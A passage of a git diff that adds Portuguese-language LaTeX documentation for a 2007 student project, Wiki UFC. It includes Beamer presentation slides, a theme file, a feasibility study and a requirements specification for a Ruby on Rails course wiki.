\frametitle{Soluções alternativas} + + \begin{block}{WebAdmin} + Sistema criado por Windson Viana para facilitar a manutenção de + páginas pelos professores do curso de Computação. Em funcionamento + no site \texttt{http://disciplinas.lia.ufc.br} + \end{block} + + \gap + \begin{block}{Moodle} + Moodle é um Software Livre de E-Learning, desenvolvido para + facilitar a criação de cursos online não presencias. Possui recursos + avançados, como fóruns, blogs, wikis, chats, e quizzes. + \end{block} + \end{frame} + +% Metodologia +% ============================================================================== +\section{Metodologia} + + \begin{frame} + \frametitle{Scrum} + Scrum é um método ágil, criado em 1993, para permitir + que o desenvolvimento rápido de aplicações. Atualmente é utilizado + em empresas como Google, Yahoo, Eletronic Arts, Philips e Nokia. + + \Gap + Como funciona? + + \begin{itemize} + \item Manutenção de um \alert{backlog}, com as tarefas pendentes + \item Desenvolvimento segmentado em ciclos, chamados de \alert{sprints} + \item Reuniões periódicas, ao final de cada sprint + \end{itemize} + \end{frame} + + \begin{frame} + \frametitle{Scrum} + \framesubtitle{Backlog} + \includegraphics[width=110mm]{backlog.png} + \end{frame} + \begin{frame} + \frametitle{Scrum} + \framesubtitle{Sprints e Reuniões} + + No nosso projeto, + \begin{itemize} + \item Cada sprint durava uma semana + \item As reuniões eram realizadas segundas feiras, às 16h + \end{itemize} + + \gap + Em cada reunião: + \begin{itemize} + \item Discutíamos o que havia sido implementado no sprint anterior + \item Discutíamos o que não havia sido implementado, por algum + motivo.. + \item Colocávamos novos itens no backlog + \item Definiamos que tarefas cada um realizaria durante o próximo + sprint + \end{itemize} + \end{frame} + + +% Tecnologias +% ============================================================================== +\section{Tecnologias} + + % Ruby + % -------------------------------------------------------------------------- + + \subsection{Linguagem Ruby} + \begin{frame} + \frametitle{Linguagem Ruby} + Ruby é uma linguagem de programação orientada a objetos, criada por + Yukihiro Matsumoto em 1995. Implementação oficial licenciada sob a GPL. + + \gap + \begin{itemize} + \item Sintaxe simples e legível + \item Completamente orientada a objetos + \item Herança múltipla avançada, através de Mixins + \item Introspecção, reflexão e meta-programação + \item Garbage collector + \end{itemize} + \end{frame} + + + % Ruby on Rails + % -------------------------------------------------------------------------- + \subsection{Ruby on Rails} + \begin{frame} + \frametitle{Ruby on Rails} + Ruby on Rails é um framework para o desenvolvimento aplicações web, que + segue os principios \emph{Don't Repeat Yourself (DRY)} e + \emph{Convention over Configuration}. + + \gap + \begin{columns}[c] + \column{1.0in} + \begin{center} + \includegraphics[width=0.60 in]{rails.png} + \end{center} + \column{5.5in} + \begin{itemize} + \item Arquitetura Model-View-Controller + \item Mapeamento objeto-relacional + \item Scaffolds, Generators e Migrations + \item Suporte nativo a testes automatizados + \item Integração com Ajax e Webservices + \item Servidor web incluso! + \end{itemize} + \end{columns} + \end{frame} + + \begin{frame} + \frametitle{Ruby on Rails} + \framesubtitle{A arquitetura MVC} + \begin{description} + \item Arquitetura para desenvolvimento que trabalha com três partes: + \item[Model] Dados armazenados da aplicação + \item[View] Seção visível ao usuário, e com a qual ele interage + \item[Controller] Interface entre Model e View, que estabelece as regras de negócio. + \end{description} + \end{frame} +% +% \begin{frame} +% \frametitle{Rails é ágil!} +% \begin{itemize} +% \item Para um desenvolvimento ágil... +% \item ... é necessária uma "linguagem ágil"\vspace{2mm} +% \item Rails é ágil!\vspace{4mm} +% \item Com Rails, é possível fazer um blog em 15 minutos: \\ http://www.rubyonrails.org/screencasts +% \end{itemize} +% \framesubtitle{Um blog em 15 minutos} +% \end{frame} + + % Subversion e Trac + % -------------------------------------------------------------------------- + \subsection{Subversion e Trac} + \begin{frame} + \frametitle{Subversion e Trac} + Subversion é um software open source para controle de versões. + \begin{itemize} + \item O código fonte é armazenado em um servidor web + \item Cada programador pode ler e modificar os arquivos remotamente + \item As versões antigas dos arquivos estão sempre disponíveis para + consulta. + \end{itemize} + + \gap + Trac é uma aplicação web para gerenciamento de projetos e bugtracking, + com integração a Subversion. + \end{frame} + +% Aplicação +% ============================================================================== +\section{Aplicação} + + % Funcionalidades + % -------------------------------------------------------------------------- + \subsection{Funcionalidades} + \begin{frame} + \frametitle{Funcionalidades} + + Entre as funcionalidades implementadas estão: + + \gap + \begin{itemize} + \item Um \textsc{Wiki} para conter as notas de aula + \item Um calendário, para receber datas de provas e entregas de + trabalho + \item Um repositório de arquivos, onde serão armazenadas listas de + exercícios, e provas antigas + \item Um mural, para postagem de notícias sobre a disciplina + \end{itemize} + \end{frame} + + \begin{frame} + \frametitle{Funcionalidades} + \framesubtitle{Adicionais} + + E, além das funcionalidades básicas: + + \gap + \begin{itemize} + \item Wiki com suporte a sintaxe Markdown e controle de versões, + \item Calendário com exportação nos formatos iCalendar e RSS, + \item Shoutbox, que permite a comunicação rápida entre os usuários, + \item Página pessoal, que integra as informações sobre as disciplinas cursadas pelo + aluno, + \item Site personalizável. + \end{itemize} + \end{frame} + + % Demonstração + % -------------------------------------------------------------------------- + \subsection{Demonstração} + \begin{frame} + \frametitle{Wiki UFC} + \begin{center}\alert{Demonstração...}\end{center} + \end{frame} + +% Conclusão +% ============================================================================== +\section{Conclusão} + + % Dificuldades Encontradas + % -------------------------------------------------------------------------- + \subsection{Dificuldades Encontradas} + \begin{frame} + \frametitle{Dificuldades encontradas} + As maiores dificuldades para realizar o projeto foram: + + \gap + \begin{itemize} + \item Estudar a linguagem Ruby + \item Aprender a utilizar os recursos do framework Ruby on Rails + \item Conseguir tempo para programar, já que nós estamos cursando, + pelo menos, quatro outras disciplinas + \item Sincronizar o nosso método ágil com relatórios tradicionais da + disciplina + \end{itemize} + \end{frame} + + + % Pontos Positivos + % -------------------------------------------------------------------------- + \subsection{Pontos Positivos} + \begin{frame} + \frametitle{Pontos positivos} + Sobre o projeto em geral: + \begin{itemize} + \item A equipe aprendeu a utilizar muitas tecnologias novas + \item Aplicamos alguns conceitos da disciplina na prática + \end{itemize} + + \gap + Sobre o método Scrum: + \begin{itemize} + \item Reuniões semanais: não ficou tudo pro fim! + \item Backlog: Sabíamos exatamente o que ainda faltava ser feito + \end{itemize} + \end{frame} + + % Perspectivas + % -------------------------------------------------------------------------- + \subsection{Perspectivas} + \begin{frame} + \frametitle{Perspectivas} + Para o futuro, planejamos: + + \gap + \begin{itemize} + \item Implementar alguns itens que, por falta de tempo, não puderam + ser inclusos no projeto original. + \item Colocar em funcionamento, para os alunos puderem usar de + verdade. + \item Abrir como um projeto Open Source. + \end{itemize} + \end{frame} + +% Perguntas? +% ============================================================================== +\begin{frame} + \frametitle{Fim!} + \begin{center}\huge{\alert{Perguntas?}}\end{center} +\end{frame} + +\end{document} diff --git a/doc/apresentacao/backlog.png b/doc/apresentacao/backlog.png new file mode 100644 index 0000000..5afd140 Binary files /dev/null and b/doc/apresentacao/backlog.png differ diff --git a/doc/apresentacao/beamerthemeOxygen.sty b/doc/apresentacao/beamerthemeOxygen.sty new file mode 100644 index 0000000..8348901 --- /dev/null +++ b/doc/apresentacao/beamerthemeOxygen.sty @@ -0,0 +1,72 @@ +\usetheme{Rochester} + +\RequirePackage{pgf} + +\pgfdeclareimage[width=1.0\paperwidth]{wiki-header}{wiki-header} + +\setbeamertemplate{blocks}[rounded][shadow=false] +\setbeamercovered{transparent} + +\beamer@headheight=0.13\paperwidth + +\definecolor{oxygenorange}{HTML}{003377} +\definecolor{oxygengray}{HTML}{222222} +\definecolor{oxygenlightgray}{HTML}{ffffff} +\definecolor{oxygenblue}{HTML}{003377} +\setbeamercolor*{Title bar}{fg=white} +\setbeamercolor*{Location bar}{fg=oxygenorange,bg=oxygenlightgray} +\setbeamercolor*{frametitle}{parent=Title bar} +\setbeamercolor*{block title}{bg=white,fg=oxygenblue} +\setbeamercolor*{block body}{bg=white,fg=oxygengray} +\setbeamercolor*{normal text}{bg=white,fg=oxygengray} +\setbeamercolor*{section in head/foot}{bg=oxygenblue,fg=white} +\setbeamercolor{alerted text}{fg=oxygenblue} + +\usecolortheme[named=oxygenorange]{structure} + +\setbeamerfont{section in head/foot}{size=\tiny,series=\normalfont} +\setbeamerfont{frametitle}{size=\Large} +\setbeamertemplate{items}[circle] + +%\setbeamertemplate{headline} +\setbeamertemplate{frametitle} +{ + \vskip-0.25\beamer@headheight + \vskip-\baselineskip + \vskip-0.3cm + \hskip0.1cm\usebeamerfont*{frametitle}\insertframetitle + %\vskip0.1em + \hskip0.4cm\usebeamerfont*{framesubtitle}\insertframesubtitle + %\vskip 0.5cm +} + +\setbeamertemplate{headline} +{ + \pgfuseimage{wiki-header} + \vskip -1.5cm + \linethickness{0pt} + + \framelatex{ + \begin{beamercolorbox}[wd=\paperwidth,ht=0.3\beamer@headheight]{Title bar} + \usebeamerfont{section in head/foot}% + \insertsectionnavigationhorizontal{.1\textwidth}{\hskip 6.5cm}{}% + \end{beamercolorbox}} + + \framelatex{ + \begin{beamercolorbox}[wd=\paperwidth,ht=0.7\beamer@headheight]{Title bar} + \end{beamercolorbox} + } +} + +\setbeamertemplate{footline} +{ + \linethickness{0pt} + \framelatex{ + \begin{beamercolorbox}[leftskip=.3cm,wd=\paperwidth,ht=0.3\beamer@headheight,sep=0.1cm]{Location bar} + \usebeamerfont{section in head/foot}% + \insertshortauthor~|~\insertshorttitle + \hfill + \insertframenumber/\inserttotalframenumber + \end{beamercolorbox}} +} + diff --git a/doc/apresentacao/oxygen-header.png b/doc/apresentacao/oxygen-header.png new file mode 100644 index 0000000..c8ffd0a Binary files /dev/null and b/doc/apresentacao/oxygen-header.png differ diff --git a/doc/apresentacao/rails.png b/doc/apresentacao/rails.png new file mode 100644 index 0000000..995a823 Binary files /dev/null and b/doc/apresentacao/rails.png differ diff --git a/doc/apresentacao/wiki-header.png b/doc/apresentacao/wiki-header.png new file mode 100644 index 0000000..974591f Binary files /dev/null and b/doc/apresentacao/wiki-header.png differ diff --git a/doc/diagrama.gan b/doc/diagrama.gan new file mode 100644 index 0000000..6861bd2 --- /dev/null +++ b/doc/diagrama.gan @@ -0,0 +1,84 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/engsoft-viabilidade.pdf b/doc/engsoft-viabilidade.pdf new file mode 100644 index 0000000..8c94476 Binary files /dev/null and b/doc/engsoft-viabilidade.pdf differ diff --git a/doc/engsoft-viabilidade.tex b/doc/engsoft-viabilidade.tex new file mode 100644 index 0000000..131bb8c --- /dev/null +++ b/doc/engsoft-viabilidade.tex @@ -0,0 +1,251 @@ +\documentclass[11pt]{article} +\usepackage[portuguese]{babel} +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{textcomp} +\usepackage{lmodern} +\usepackage{graphicx} + +\setlength{\parskip}{2ex} +\def\aspa{\textquotesingle} + +\setlength{\pdfpagewidth}{210truemm} +\setlength{\pdfpageheight}{297truemm} +\pdfadjustspacing=1 + +\topmargin -0.6in +\textheight 250truemm + +\title{\vspace{8em} \huge{Wiki UFC} \\ \vspace{0.1em} \small{Estudo de Viabilidade}} +\author{ + \vspace{5em} \\ + \small{Adriano Tavares} \\ + \small{Álinson Santos} \\ + \small{André Castro} \\ + \small{Luís Henrique} \\ + \small{Rafael Barbosa} +} +\date{\today} + +\begin{document} + +\maketitle +\pagebreak + +\tableofcontents +\pagebreak + +% =================== +% Título da Aplicação +% =================== +\section{Título da Aplicação} + +Wiki UFC + +% ====================== +% Descrição da Aplicação +% ====================== +\section{Descrição da Aplicação} + +Sistema online colaborativo onde os alunos poderão compartilhar informações sobre +as disciplinas que estão cursando. Cada disciplina terá um espaço próprio, contendo +um Wiki (para receber notas de aulas), mural de mensagens (para os alunos serem +notificados sobre algum evento), calendário (contendo datas de provas, trabalhos, etc) +e um repositório de arquivos (contendo provas passadas, listas de exercícios, etc). + + +% ===================== +% Objetivo da Aplicação +% ===================== + +\section{Objetivo da Aplicação} + +Permitir que os alunos tenham acesso rápido e organizado a todo o material +disponibilizado pelos professores durante as aulas (incluindo listas de exercícios e +notas de aulas), e que se mantenham atualizados sobre quaisquer eventos da +disciplina. + + +% ============= +% Justificativa +% ============= + +\section{Justificativa} + +Atualmente, não há um local próprio para os alunos lerem e publicarem informações +sobre as disciplinas que estão cursando. Como conseqüência, muitos meios diferentes +são utilizados, como listas de emails, páginas web, ou, na maioria dos casos, o diálogo +boca-a-boca. O problema dessa abordagem é que, para o aluno, é muito difícil se +manter atualizado. Ele precisa acompanhar, constantemente, cada um desses meios, +ou corre o risco de perder alguma mensagem. +Para o material disponibilizado pelo professor, o problema é ainda maior: para +conseguir as notas de aula ou listas de exercícios de uma disciplina, geralmente o +aluno precisa tomar emprestado o material de um colega e pagar por fotocópias de +baixa qualidade, que serão descartadas ao término do semestre. Para conseguir +material de semestres passados, então, o processo é ainda mais complexo, se não +impossível, na maioria dos casos. +% ================ +% Solução Proposta +% ================ + + +\section{Solução Proposta} + +O desenvolvimento de um sistema online onde os alunos possam ler e publicar +informações livremente, utilizando Ruby on Rails, um framework para +desenvolvimento Web na linguagem de programação interpretada Ruby. + +% ===================== +% Delimitação do Escopo +% ==================== + + +\section{Delimitação do Escopo} + +\subsection{O que será feito?} + +Estão previstos quatro módulos principais + +\begin{description} + \item[Wiki] Uma área textual livre editável por qualquer usuário do sistema, para conter as notas de aula de cada disciplina; + \item[Mural] Uma área para postagem de notícias sobre as disciplinas; + \item[Calendário] Para receber datas de provas e entregas de trabalhos; + \item[Repositório] Uma área para receber arquivos adicionais, tais como listas de exercícios e provas passadas. +\end{description} + +\subsection{O que não será feito?} + +Sendo um sistema voltado para o aluno, e não para o professor, não há planos sobre +implementar sistemas de entrega de trabalhos, aulas e avaliações online em tempo +real, nem qualquer recurso semelhante encontrado em outros softwares de e-learning. +% ================== +% Produtos Esperados +% ================== + + +\section{ Benefícios Esperados} + +Entre os principais benefícios esperados estão: + +\begin{description} + \item[Centralização] + As informações sobre todas as disciplinas estarão juntas em um local, então, para os alunos, será + mais fácil verificar em quais delas há novidades. + \item[Atualização] + Como qualquer aluno poderá publicar informações, é provável que o conteúdo esteja sempre bem + atualizado. Qualquer desatualização poderá ser rapidamente corrigida. + \item[Descentralização] + Para os alunos, o processo de publicação será descentralizado: ninguém será unicamente + responsável por manter o conteúdo no ar. +\end{description} +% ======== +% Produtos +% ======== + + +\section{Produtos} + +\subsection{Produtos Intermediários} + +A documentação completa do sistema, ou seja: +\begin{itemize} + \item Diagrama de barras e rede de atividades + \item Estudo de viabilidade + \item Especificação de requisitos + \item Projeto da aplicação +\end{itemize} + +\subsection{Produto Final} + +O sistema anteriormente descrito, com código-fonte e executável. + + +% ============ +% Público Alvo +% ============ + +\section{Público Alvo} +O público alvo, a priori, são os alunos do curso de graduação do curso de Computação, +UFC. Posteriormente, este este público pode ser expandido para englobar tanto os +alunos de pós-graduação, quanto os alunos de outros cursos da UFC. + +% ========== +% Restrições +% ========== + + +\section{Restrições} +As restrições podem ser divididas em dois grupos: + +\subsection{Restrições de Projeto} + +\begin{description} + \item[Prazo] A entrega do sistema deve ser efetuada até o dia 26 de junho de 2007. + \item[Marcos] Alguns marcos pré-estabelecidos pelo cliente devem ser seguidos. + \item[Equipe] A equipe será composta por no máximo cinco pessoas + \item[Público Alvo] O sistema será focado para atender as necessidades dos alunos. +\end{description} + +\subsection{Restrições Técnicas} + +\begin{description} + \item[Linguagem] A priori, a aplicação poderia apenas ser desenvolvida utilizando as linguagens Java ou PHP. Porém, foi negociado com o cliente o desenvolvimento utilizando a linguagem Ruby. + \item[Requisitos da Aplicação] O usuário necessitará de um browser recente com conexão à Internet. +\end{description} + +% ============ +% Alternativas +% ============ + + +\section{Alternativas} + +Como alternativa a algumas restrições e recursos requeridos temos: + +\begin{itemize} + \item A negociação com cliente permitiu o desenvolvimento do sistema utilizando outra linguagem de programação, Ruby. + \item Os programadores utilizarão seus computadores pessoais, da universidade ou de LAN houses para fins de desenvolvimento. +\end{itemize} + +% =================== +% Recursos Requeridos +% =================== + + +\section{Recursos Requeridos} + +A aplicação será desenvolvida em plataforma web, utilizando o framework Ruby on +Rails. Os desenvolvedores necessitarão de computadores conectados a Internet para +desenvolvimento e upload/download das versões do sistema. Para os usuários, o único +software necessário será um browser recente, com conexão à Internet. Do lado do +servidor, a aplicação executará em um servidor web com suporte a Ruby, e em um +banco de dados qualquer. +Quanto aos recursos humanos, a equipe dispõe de cinco integrantes, sendo todos +desenvolvedores e um também gerente de projeto. + +% ====== +% Riscos +% ====== + + +\section{Riscos} + +\includegraphics[width=1.30\textwidth]{riscos.pdf}\\ + +% ================== +% Modelo de Processo +% ================== + + +\section{Modelo de Processo} + +Para o desenvolvimento, será adotado a metodologia ágil Scrum. + +\begin{itemize} + \item Um backlog será criado para manter a lista de tarefas pendentes do projeto; + \item Semanalmente, haverá uma reunião, na qual a equipe escolherá alguns itens do backlog para implementar durante o sprint; + \item Ao final de cada sprint, uma nova reunião será feita, onde cada participante irá apresentar trabalho que desenvolveu ao longo da semana. +\end{itemize} + +\end{document} + diff --git a/doc/especreq/especreq.pdf b/doc/especreq/especreq.pdf new file mode 100644 index 0000000..b6daa99 Binary files /dev/null and b/doc/especreq/especreq.pdf differ diff --git a/doc/especreq/especreq.tex b/doc/especreq/especreq.tex new file mode 100644 index 0000000..cd8c367 --- /dev/null +++ b/doc/especreq/especreq.tex @@ -0,0 +1,439 @@ +\documentclass[11pt]{article} +\usepackage[portuguese]{babel} +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{textcomp} +\usepackage{lmodern} +\usepackage{graphicx} + +\setlength{\parskip}{2ex} +\def\aspa{\textquotesingle} + +\setlength{\pdfpagewidth}{210truemm} +\setlength{\pdfpageheight}{297truemm} +\pdfadjustspacing=1 + +\topmargin -0.6in +\textheight 250truemm + +\title{\vspace{8em} \huge{Wiki UFC} \\ \vspace{0.1em} \small{Especificação de Requisitos}} +\author{ + \vspace{5em} \\ + \small{Adriano Tavares} \\ + \small{Álinson Santos} \\ + \small{André Castro} \\ + \small{Luís Henrique} \\ + \small{Rafael Barbosa} +} +\date{\today} + +\begin{document} + +\maketitle +\pagebreak + +\tableofcontents +\pagebreak + +\section{Introdução} +\subsection{Propósito do documento de requisitos} + +O presente documento tem por objetivo mostrar uma descrição geral do produto, e, em seguida, especificar os requisitos de usuário e de sistema, funcionais e não funcionais. Sabendo do conjunto diversificado de usuários que podem ter acesso a este documento, procuramos utilizar uma linguagem de alto nível, embora, em certas ocasiões, o uso de alguns termos técnicos é necessário. + +\subsection{Escopo do produto} + +Sistema online colaborativo, na forma de wiki, onde os alunos poderão compartilhar informações sobre as disciplinas do curso. Cada disciplina terá uma página no Wiki; um repositório, onde os alunos poderão disponibilizar arquivos relacionados; um mural, para divulgação de notícias; e um calendário, que conterá datas de provas e trabalhos. + +Sendo um sistema voltado para o aluno, não serão implementados sistemas de entrega de trabalhos, aulas e avaliações em tempo real, nem qualquer outro recurso semelhante encontrado em softwares de e-learning. + +\subsection{Visão geral do restante do documento} + +Em seguida, temos uma descrição mais detalhada do produto, incluindo seus requisitos. + +Na seção 2, fornecemos uma descrição geral do sistema, contendo: descrição do produto (seção 2.1), de forma a melhor apresentar o contexto de aplicação em que se inserem os requisitos descritos no presente documento; e perfil do usuário (seção 2.2), esclarecendo a que tipo de usuário o sistema é destinado. + +Na seção 3, é apresentada uma descrição dos requisitos, tanto funcionais (seção 3.2) quanto não funcionais (seção 3.3), além de diagramas de caso de uso (seção 3.1). + +\section{Descrição Geral} +\subsection{Descrição do produto} + +O Wiki UFC é uma aplicação com a finalidade de centralizar informações relacionadas às disciplinas do curso. + +A idéia inicial do sistema surgiu quando se percebeu certas desvantagens do processo atual que os alunos utilizam para se comunicar. O material didático é muitas vezes segmentado em diferentes meios de comunicação e um esforço por parte do estudante é exigido para estar atualizado com a disciplina. O Wiki UFC tem o objetivo de diminuir este esforço, fornecendo um ambiente centralizado para compartilhamento de informações. Para cada disciplina, teremos: + +\begin{itemize} + \item Um espaço wiki + \item Um mural para expor avisos + \item Um calendário com os principais eventos da disciplina + \item Um repositório para disponibilizar arquivos relacionados +\end{itemize} + +\subsection{Perfil do usuário} + +Sendo o sistema desenvolvido voltado para o gerenciamento de informações relacionadas às disciplinas acadêmicas, o público principal do sistema são estudantes, particularmente universitários. + +\section{Requisitos específicos} +\subsection{Diagrama de Caso de Uso} +\includegraphics[width=1.20\textwidth]{usecase.png} + +Cada caso de uso mostrado acima é melhor descrito na próxima seção do documento. + +\subsection{Requisitos Funcionais} + +\subsubsection{Módulo Wiki} +\textbf{Visualizar página} +\\ + +Nome: + + Visualizar página + +Sumário: + + O usuário visualizará o conteúdo de uma página do wiki. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + Usuário navega até a página da disciplina na qual ele está interessado, consulta a lista de páginas wiki disponíveis, e clica sobre o título da página desejada. + +\textbf{Editar página} +\\ + +Nome: + + Editar página + +Sumário: + + O usuário modificará o conteúdo de uma página do wiki. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + Usuário navega até a página wiki desejada, e clica no link 'Editar'. Uma tela é exibida, onde o usuário poderá digitar o novo texto da página. O usuário então clica em 'Salvar'. + +Pós-Condições: + + A página wiki editada pelo usuário ficará com o novo texto digitado pelo usuário. A versão anterior estará disponível no link 'Histórico'. + +\textbf{Criar página} +\\ + +Nome: + + Criar página + +Sumário: + + O usuário criará uma nova página wiki. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página da disciplina desejada e clicará no link correspondente à opção 'Nova Página'. Uma tela irá aparecer, e o usuário poderá digitar o conteúdo da nova página. Depois, o usuário clicará em 'Salvar'. + +Pós-Condições: + + A página recém criada será incorporada à lista de páginas wiki da disciplina, e poderá ser lida e editada por outros alunos. + +\textbf{Excluir página} +\\ + +Nome: + + Excluir página. + +Sumário: + + O usuário excluirá uma página do wiki. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página wiki desejada, clicará em 'Editar' e, na nova tela que surgir, escolherá a opção 'Excluir página'. + +Pós-Condições: + + Após confirmar a exclusão, a página será excluída, e não será mais acessível a outros alunos. + +\subsubsection{Módulo Repositório} +\textbf{Visualizar arquivo} +\\ + +Nome: + + Visualizar arquivo. + +Sumário: + + O usuário visualizará o conteúdo de um arquivo do repositório. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página da disciplina desejada, consultará a lista de arquivos disponíveis no repositório, e clicará sobre o arquivo que ele deseja visualizar. + +\textbf{Enviar arquivo} +\\ + +Nome: + + Enviar arquivo. + +Sumário: + + O usuário enviará um novo arquivo para a página da disciplina. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página da disciplina desejada, clicará no link correspondente a 'Adicionar arquivo', selecionará o arquivo a ser enviado, e clicará no link 'Enviar'. + +Pós-Condições: + + O arquivo escolhido pelo usuário será enviado para o sistema, e poderá ser visualizado pelos demais alunos. + +\textbf{Excluir arquivo} +\\ + +Nome: + + Excluir arquivo. + +Sumário: + + O usuário excluirá um arquivo do repositório. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página da disciplina e escolherá o link 'Excluir arquivo' correspondente ao arquivo que ele deseja excluir. + +Pós-Condições: + + O arquivo excluído não estará mais disponível para os demais alunos. + +\subsubsection{Módulo Calendário} +\textbf{Visualizar eventos} +\\ + +Nome: + + Visualizar eventos. + +Sumário: + + O usuário visualizará os eventos de um calendário. Poderá clicar em certo evento para obter maiores detalhes. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página da disciplina desejada, onde poderá acessar o calendário da disciplina. + +\textbf{Incluir eventos} +\\ + +Nome: + + Incluir eventos. + +Sumário: + + O usuário incluirá novos eventos a um calendário de uma disciplina. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página de calendário da disciplina e escolherá o link "Novo Evento", inserindo informações como título do evento, data e descrição. + +Pós-Condições: + + O evento inserido será adicionado à lista de eventos do calendário e poderá ser visualizado e poderá ser visualizado pelos demais alunos. + +\textbf{Excluir eventos} +\\ + +Nome: + + Excluir eventos. + +Sumário: + + O usuário excluirá eventos de um calendário de uma disciplina. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a página de calendário da disciplina e escolherá o link "Excluir Evento" associado ao evento que ele deseja excluir. + +Pós-Condições: + + O evento excluído será retirado da base de dados e não estará mais disposto para visualização pelos demais alunos. + +\subsubsection{Módulo Mensagens} +\textbf{Enviar mensagens para a Shoutbox} +\\ + +Nome: + + Enviar mensagens para a Shoutbox. + +Sumário: + + O usuário irá enviar uma mensagem por ele redigida para a Shoutbox. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário, a partir de qualquer página no Wiki, digitará uma mensagem e a enviará para o Shoutbox. + +Pós-Condições: + + A mensagem enviada será mostrada na Shoutbox para os outros usuários autenticados no sistema no momento. + +\textbf{Enviar mensagens para o Mural} +\\ + +Nome: + + Enviar mensagens para a Mural. + +Sumário: + + O usuário irá enviar uma mensagem por ele redigida para o Mural. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário, através do Mural de cada disciplina, digitará uma mensagem e a enviará. + +Pós-Condições: + + A mensagem será disponibilizada no Mural da disciplina, podendo ser vista por outros usuários que acessem a página da disciplina em questão. + +\textbf{Enviar mensagens para outros usuários} +\\ + +Nome: + + Enviar mensagens para outros usuários. + +Sumário: + + O usuário irá enviar uma mensagem por ele redigida para um outro usuário do sistema. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário digitará uma mensagem, assinalará um destinatário, também usuário do sistema, e enviará a mensagem para este usuário assinalado. + +Pós-Condições: + + A mensagem será disponibilizada ao usuário destinatário, e somente a ele, podendo ser visualizada em sua página principal. + +\textbf{Ler mensagens} +\\ + +Nome: + + Ler mensagens. + +Sumário: + + O usuário irá ler uma mensagem, podendo ser esta redigida por ele mesmo ou por outro usuário. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário entrará em alguma das seções que disponibilizam mensagens, e a interface do sistema formatará as mensagens arquivadas para serem visualizadas pelo usuário. + +Pós-Condições: + + Nenhuma. + +\textbf{Excluir mensagens} +\\ + +Nome: + + Excluir mensagens. + +Sumário: + + O usuário excluirá uma mensagem do sistema. + +Ator Primário: + + Aluno. + +Fluxo Principal: + + O usuário navegará até a seção onde está disponibilizada a mensagem e indicará a mensagem a ser apagada. + +Pós-Condições: + + A mensagem excluída não estará mais disponível para visualização pelos demais usuários. + + + +\subsection{Requisitos Não-Funcionais} + +\subsubsection{Requisitos da Interface} + +Dada a diversidade de alunos presentes na universidade, e os seus diferentes níveis de conhecimento técnico sobre a Internet, a interface do sistema precisa ser fácil de se utilizar. + +\subsubsection{Restrições do Wiki} +\begin{itemize} +\item Detecção de Tags Maliciosas + +Um conhecido tipo de falha de segurança em sistemas Web é o Cross-site scripting, abreviado XSS. Através de tags maliciosas inseridas no wiki, um usuário mal intencionado poderia comprometer a segurança do sistema, e expor os alunos a riscos. Assim, o wiki deve ser capaz de detectar e remover estas tags maliciosas. + +\item Integridade dos Dados + +Os dados fornecidos pelos usuários são de grande importância para a sobrevivência do sistema. Dessa forma, o wiki deve garantir que esses dados não sejam corrompidos. Ou seja, ele deve impedir que versões antigas da página sejam substituídas indevidamente. +\end{itemize} + +\end{document} diff --git a/doc/especreq/usecase.png b/doc/especreq/usecase.png new file mode 100644 index 0000000..b23dd81 Binary files /dev/null and b/doc/especreq/usecase.png differ diff --git a/doc/parte1/ActivityDiagram.pdf b/doc/parte1/ActivityDiagram.pdf new file mode 100644 index 0000000..96924fe Binary files /dev/null and b/doc/parte1/ActivityDiagram.pdf differ diff --git a/doc/parte1/diagramaBarra.pdf b/doc/parte1/diagramaBarra.pdf new file mode 100644 index 0000000..d8c8f89 Binary files /dev/null and b/doc/parte1/diagramaBarra.pdf differ diff --git a/doc/parte1/parte1.pdf b/doc/parte1/parte1.pdf new file mode 100644 index 0000000..d9d1d3e Binary files /dev/null and b/doc/parte1/parte1.pdf differ diff --git a/doc/parte1/parte1.tex b/doc/parte1/parte1.tex new file mode 100644 index 0000000..dec5ad3 --- /dev/null +++ b/doc/parte1/parte1.tex @@ -0,0 +1,46 @@ +\documentclass[11pt]{article} +\usepackage[portuguese]{babel} +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{textcomp} +\usepackage{lmodern} +\usepackage{graphicx} + +\setlength{\parskip}{2ex} +\def\aspa{\textquotesingle} + +\setlength{\pdfpagewidth}{210truemm} +\setlength{\pdfpageheight}{297truemm} +\pdfadjustspacing=1 + +\topmargin -0.6in +\textheight 250truemm + +\title{\vspace{8em} \huge{Wiki UFC} \\ \vspace{0.1em} \small{Rede de Atividades e Diagrama de Barras}} +\author{ + \vspace{5em} \\ + \small{Adriano Tavares} \\ + \small{Álinson Santos} \\ + \small{André Castro} \\ + \small{Luís Henrique} \\ + \small{Rafael Barbosa} +} +\date{\today} + +\begin{document} + +\maketitle +\pagebreak + +\tableofcontents +\pagebreak + +\section{Rede de Atividades} +\includegraphics[width=1.10\textwidth]{ActivityDiagram.pdf} +\pagebreak + +\section{Diagrama de Barras} +\includegraphics[width=1.20\textwidth]{diagramaBarra.pdf} +\pagebreak + +\end{document} diff --git a/doc/riscos.pdf b/doc/riscos.pdf new file mode 100644 index 0000000..60f9ab3 Binary files /dev/null and b/doc/riscos.pdf differ diff --git a/doc/sequencia/SequenceEvents.jude.bak b/doc/sequencia/SequenceEvents.jude.bak new file mode 100644 index 0000000..1df644d Binary files /dev/null and b/doc/sequencia/SequenceEvents.jude.bak differ diff --git a/doc/sequencia/pngs/jpg2pdf b/doc/sequencia/pngs/jpg2pdf new file mode 100755 index 0000000..8632d69 --- /dev/null +++ 